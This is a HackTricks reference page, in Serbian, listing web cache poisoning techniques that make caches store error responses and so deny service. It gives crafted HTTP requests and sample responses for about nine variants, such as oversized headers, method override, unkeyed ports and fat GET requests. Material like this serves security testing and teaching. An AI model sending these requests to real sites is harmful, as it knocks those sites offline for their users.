Cache Poisoning to DoS
Reading time: 4 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
caution
Na ovoj stranici možete pronaći različite varijacije kako pokušati da web server odgovori greškama na zahteve koji su validni za servere keširanja
- HTTP Header Oversize (HHO)
Pošaljite zahtev sa veličinom zaglavlja većom od one koju podržava web server, ali manjom od one koju podržava server keširanja. Web server će odgovoriti sa 400 odgovorom koji može biti keširan:
GET / HTTP/1.1
Host: redacted.com
X-Oversize-Hedear:Big-Value-000000000000000
- HTTP Meta Character (HMC) & Neočekivane vrednosti
Pošaljite header koji sadrži neke štetne meta karaktere kao što su i . Da bi napad uspeo, prvo morate da zaobiđete keš.
GET / HTTP/1.1
Host: redacted.com
X-Meta-Hedear:Bad Chars\n \r
Loše konfigurisana zaglavlja mogu biti samo \:
kao zaglavlje.
Ovo takođe može raditi ako se pošalju neočekivane vrednosti, kao što je neočekivani Content-Type:
GET /anas/repos HTTP/2
Host: redacted.com
Content-Type: HelloWorld
- Unkeyed header
Neki vebsajti će vratiti kod greške ako vide neke specifične zaglavlja u zahtevu kao što je sa X-Amz-Website-Location-Redirect: someThing zaglavljem:
GET /app.js HTTP/2
Host: redacted.com
X-Amz-Website-Location-Redirect: someThing
HTTP/2 403 Forbidden
Cache: hit
Invalid Header
- HTTP Method Override Attack (HMO)
Ako server podržava promenu HTTP metode pomoću zaglavlja kao što su X-HTTP-Method-Override
, X-HTTP-Method
ili X-Method-Override
. Moguće je zatražiti važeću stranicu menjajući metodu tako da server ne podržava, tako da se loš odgovor kešira:
GET /blogs HTTP/1.1
Host: redacted.com
HTTP-Method-Override: POST
- Unkeyed Port
Ako je port u Host header-u odražen u odgovoru i nije uključen u cache ključ, moguće je preusmeriti ga na neiskorišćen port:
GET /index.html HTTP/1.1
Host: redacted.com:1
HTTP/1.1 301 Moved Permanently
Location: https://redacted.com:1/en/index.html
Cache: miss
- Long Redirect DoS
Kao u sledećem primeru, x se ne kešira, tako da napadač može da iskoristi ponašanje odgovora na preusmeravanje da napravi preusmeravanje koje šalje URL toliko veliki da vraća grešku. Tada će ljudi koji pokušavaju da pristupe URL-u bez nekovanog x ključa dobiti odgovor sa greškom:
GET /login?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com
HTTP/1.1 301 Moved Permanently
Location: /login/?x=veryLongUrl
Cache: hit
GET /login/?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com
HTTP/1.1 414 Request-URI Too Large
CF-Cache-Status: miss
- Normalizacija velikih i malih slova u host header-u
Host header bi trebao biti neosetljiv na velika i mala slova, ali neka web stranice očekuju da bude u malim slovima, vraćajući grešku ako nije:
GET /img.png HTTP/1.1
Host: Cdn.redacted.com
HTTP/1.1 404 Not Found
Cache:miss
Not Found
- Normalizacija putanje
Neke stranice će vraćati kodove greške šaljući podatke URLencode u putanji, međutim, cache server će URLdecode-ovati putanju i sačuvati odgovor za URLdecoded putanju:
GET /api/v1%2e1/user HTTP/1.1
Host: redacted.com
HTTP/1.1 404 Not Found
Cach:miss
Not Found
- Fat Get
Neki cache serveri, kao što su Cloudflare, ili web serveri, zaustavljaju GET zahteve sa telom, tako da se ovo može iskoristiti za keširanje nevažećeg odgovora:
GET /index.html HTTP/2
Host: redacted.com
Content-Length: 3
xyz
HTTP/2 403 Forbidden
Cache: hit
Reference
- https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52
- https://youst.in/posts/cache-poisoning-at-scale/?source=post_page-----3a829f221f52--------------------------------
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.